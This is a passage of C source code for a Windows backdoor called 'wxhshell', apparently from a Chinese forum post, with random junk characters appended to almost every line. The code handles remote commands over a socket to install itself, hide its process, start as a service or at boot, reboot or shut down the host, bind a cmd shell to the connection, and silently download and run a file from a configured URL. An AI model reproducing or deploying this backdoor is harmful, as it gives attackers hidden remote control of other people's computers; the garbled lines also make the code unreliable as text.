  case '?': { /6QwV->  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QY|Rz(;m  
    break; Qq+$ea?>  
  } OO#_ 0qK  
  // 安装 }hRw{#*8  
  case 'i': { ebfT%_N  
    if(Install()) ZW7z[,tk<.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P:KS*lOp  
    else ~HBQQt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &L`^\B]k|  
    break; 9?]69O  
    } S\io5|P  
  // 卸载 "lLwgh;  
  case 'r': { x18(}4  
    if(Uninstall()) 5v5)vv.kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LT[g +zGB  
    else mUA!GzJ~u-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cg_9V4h.C  
    break; SFJ"(ey$  
    } AdD,94/  
  // 显示 wxhshell 所在路径 6({TG&`!]  
  case 'p': { z|bAZKSRYx  
    char svExeFile[MAX_PATH]; \~X:ffb =  
    strcpy(svExeFile,"\n\r"); L _D#  
      strcat(svExeFile,ExeFile); &$yxAqdab  
        send(wsh,svExeFile,strlen(svExeFile),0); WF] |-)vw  
    break; g~p43sVV  
    } >)^Q p-  
  // 重启 g286 P_a`*  
  case 'b': { q?y-s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |W*#N8I P  
    if(Boot(REBOOT)) Q2qT[aD,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TrPw*4h 9s  
    else { #(7^V y&  
    closesocket(wsh); T].Xx`  
    ExitThread(0); otA'+4\  
    } r17"i.n  
    break; 7bk`u'0%  
    } i0n u5kD+d  
  // 关机 K2{6{X=  
  case 'd': { s+t[{i4|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "^Vnnb:Z*o  
    if(Boot(SHUTDOWN)) / %1-tGh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pz=/A  
    else { &G!~@\tMg  
    closesocket(wsh); } `Cc-X7  
    ExitThread(0); m yy*rt  
    } !K6:5V%q$  
    break; wEZieHw  
    } [gGo^^aW#  
  // 获取shell 1}R\L"  
  case 's': { ` ZBOaN^if  
    CmdShell(wsh); L8J] X7  
    closesocket(wsh); ;#L]7ZY9:-  
    ExitThread(0); G/ H>M%M  
    break; O{p7I&  
  } F9k}zAY\J  
  // 退出 ?$MO!  
  case 'x': { eus@;l*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fI,2l   
    CloseIt(wsh); e=+q*]>  
    break; c*r@QmB:  
    } 9* P-k.Bl  
  // 离开 /[5\T2GI   
  case 'q': { Y()ZM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?rY+,nQP  
    closesocket(wsh); 1:RK~_E  
    WSACleanup(); 558!?kx$  
    exit(1); O>>/2V9  
    break; `_sKR,LhB  
        } dt0(04  
  } ]@m`bs_6  
  } }zIWagC6  
3e>U(ES  
  // 提示信息 |9Y~k,rF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]F"P3':  
} dkW7k^g  
  } ..x 2  
_$/Bt?h  
  return; PzT@q\O  
} wb%4f6i  
C)~%(< D  
// shell模块句柄 ]z]=?;ty%  
int CmdShell(SOCKET sock) {P3gMv;  
{  4&%E?_M  
STARTUPINFO si; <?:h(IZe[  
ZeroMemory(&si,sizeof(si)); @vL0gzE?nB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (w`_{%T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `<#O8,7`  
PROCESS_INFORMATION ProcessInfo; ?BbEQr  
char cmdline[]="cmd"; :UX8^+bfZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '$VP\Gj.  
  return 0; *q;83\  
} XjmAM/H4  
'UTMEN&  
// 自身启动模式 3T>6Q#W5eO  
int StartFromService(void) 8@){\.M  
{ p}JGx^X ~  
typedef struct Urol)_3X  
{ c[;A$P= 8.  
  DWORD ExitStatus; sGh TP/  
  DWORD PebBaseAddress; /8u}VYE  
  DWORD AffinityMask; cEn|Q  
  DWORD BasePriority; Nfv` )n@  
  ULONG UniqueProcessId; 9{rE7OX*A  
  ULONG InheritedFromUniqueProcessId; (4IP&^j:\  
}   PROCESS_BASIC_INFORMATION; ^E)8Sb9t  
@:@5BCs<  
PROCNTQSIP NtQueryInformationProcess; ;iQw2XhT  
/XNC^!z6Js  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^W`RBrJay  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wod(P73?  
AG#Mj(az!  
  HANDLE             hProcess; sxdDI?W4  
  PROCESS_BASIC_INFORMATION pbi; aCi)icn$  
V2:S 9vO'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^f 0-w`D  
  if(NULL == hInst ) return 0; iG"1~/U  
p^Z|$aZZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9|NF)~Q}'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h A '>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +i}uRO  
n\$.6 _@x  
  if (!NtQueryInformationProcess) return 0; twt's,dO  
uLfk>&hc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u Tdz$Nh  
  if(!hProcess) return 0; b/tc D r  
0IHAoV60  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %WqUZ+yy  
@wVDe\% ,  
  CloseHandle(hProcess); kX*.BZI}C  
-I z,vd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] pv!Ll  
if(hProcess==NULL) return 0; 9)n3f^,Oj*  
D+w ?  
HMODULE hMod; ]<9o>#3  
char procName[255]; VkId6k:>6C  
unsigned long cbNeeded; :3b\pEO9\  
+S1h~@c:B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %][zn$aa|  
n<eK\ w  
  CloseHandle(hProcess); O7J V{'?  
l=a< =i  
if(strstr(procName,"services")) return 1; // 以服务启动 yb\!4ml  
7{VN27Fa_  
  return 0; // 注册表启动 ']H*f2y  
} 6kONuG7Yv  
oJc7a z  
// 主模块 |T*t3}  
int StartWxhshell(LPSTR lpCmdLine) COxJ,v(  
{ mAe)Hy %  
  SOCKET wsl; l\u5RMS('  
BOOL val=TRUE; \}gITc).j  
  int port=0; N*KM6j  
  struct sockaddr_in door; !$Arc^7r  
|9)y<}c5oM  
  if(wscfg.ws_autoins) Install(); oP:OurX8V  
uK[gI6M  
port=atoi(lpCmdLine); 3)l<'~"z<  
Q.f D3g  
if(port<=0) port=wscfg.ws_port; wFJ*2W:  
ciN*gwI)  
  WSADATA data; SPINV.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2p*L~! iM  
NH,4>mV$!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nu><r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LEAU3doK;  
  door.sin_family = AF_INET; ALKzR433/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); * [b~2  
  door.sin_port = htons(port); p0pA|  
@[;$R@M_3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %,udZyO3uR  
closesocket(wsl); sw,p6T[  
return 1; sb%l N   
} K3`48,`?wA  
Gx(%AB~9$  
  if(listen(wsl,2) == INVALID_SOCKET) { iv6bXV'N  
closesocket(wsl); x' 3kHw  
return 1; :]`JcJ  
} '~pZj"uy  
  Wxhshell(wsl); px^brzLQo  
  WSACleanup(); 02po;  
FNXVd/{M3  
return 0; 2VkA!o4nP  
31mlnDif  
} q/3co86c  
l i2/"~l  
// 以NT服务方式启动 p5bM/{DP;K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L$; gf_L  
{ TA+/35^?  
DWORD   status = 0; 9~}8?kPNw=  
  DWORD   specificError = 0xfffffff; `u7twW*U2  
~h444Hp=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lDG.\u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q8bn|#`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `,6^eLU  
  serviceStatus.dwWin32ExitCode     = 0; s;:quM  
  serviceStatus.dwServiceSpecificExitCode = 0; xf8.PqVNo  
  serviceStatus.dwCheckPoint       = 0; $+HS^m  
  serviceStatus.dwWaitHint       = 0; * 9}~?#b  
/S%!{;:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v0 |"[qGb  
  if (hServiceStatusHandle==0) return; 90+Hv:wF  
'Ie!%k^  
status = GetLastError(); $ dHD  
  if (status!=NO_ERROR) ~Nl`Zmn(A|  
{ bqUQadDB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p9iCrqi  
    serviceStatus.dwCheckPoint       = 0; l,1.6  
    serviceStatus.dwWaitHint       = 0; yykyvy  
    serviceStatus.dwWin32ExitCode     = status; e irRAU  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3S1`av(tD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |n.ydyu`  
    return; s&qr2'F+z  
  } R)qK{wq(1E  
~uu~NTz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .s<tQU  
  serviceStatus.dwCheckPoint       = 0; j_~lc,+m  
  serviceStatus.dwWaitHint       = 0; !<MW*7P=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .;~K*GC  
} fT_swh IO  
l ~ /y  
// 处理NT服务事件,比如:启动、停止 Q*AgFF%wn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JZrUl^8E  
{ 7S9Q{  
switch(fdwControl) &0S/]E`_M  
{ J*O$)K%Hx  
case SERVICE_CONTROL_STOP: f*~z|  
  serviceStatus.dwWin32ExitCode = 0; zs@[!?A,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;^:$O6J7T~  
  serviceStatus.dwCheckPoint   = 0; ]j?Kn$nv*S  
  serviceStatus.dwWaitHint     = 0; @;@Wt`(2a  
  { _a=f.I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %uLyL4*L(p  
  } @Ao E>  
  return; |qsY0zx  
case SERVICE_CONTROL_PAUSE: b`sph%&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |1(9_=i'  
  break; Yhd|1,m9f  
case SERVICE_CONTROL_CONTINUE: T3 k#6N.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wY j~(P"  
  break; }~28UXb23  
case SERVICE_CONTROL_INTERROGATE: T"m(V/L$W  
  break; "A?_)=zZ  
}; l?%U*~*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7eg//mL"6  
} )WFSUZ~  
v+Q# O[  
// 标准应用程序主函数 I:aG(8Bi)H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -m~[z  
{ 5&r2a}K  
$wn "+wX  
// 获取操作系统版本 q}["Nww-  
OsIsNt=GetOsVer(); ico(4KSk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cNG6 A4  
f V.(v&  
  // 从命令行安装 U q6..<#  
  if(strpbrk(lpCmdLine,"iI")) Install(); }?Y+GT"E  
Do|`wpR  
  // 下载执行文件 R%Yws2Le2  
if(wscfg.ws_downexe) { rkl/5z??  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jjm-%W@  
  WinExec(wscfg.ws_filenam,SW_HIDE); *{)![pDYd  
} F#^.L|d4  
{hM*h(W~3  
if(!OsIsNt) { T`=N^Ca1!`  
// 如果时win9x,隐藏进程并且设置为注册表启动 <u"#Jw/VP  
HideProc(); \?fl%r2  
StartWxhshell(lpCmdLine); *R>I%?]V3  
} ^dP@QMly6  
else q6{%vd  
  if(StartFromService()) f|FQd3o)  
  // 以服务方式启动 [:!#F7O-  
  StartServiceCtrlDispatcher(DispatchTable); nx,67u/Pb  
else !U/: !e`N  
  // 普通方式启动 6SsZK)X  
  StartWxhshell(lpCmdLine); @Cm"lv.hz  
*(d^ k;  
return 0; s:cS 9A8  
}
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只看该作者 1 发表于: 2006-10-10
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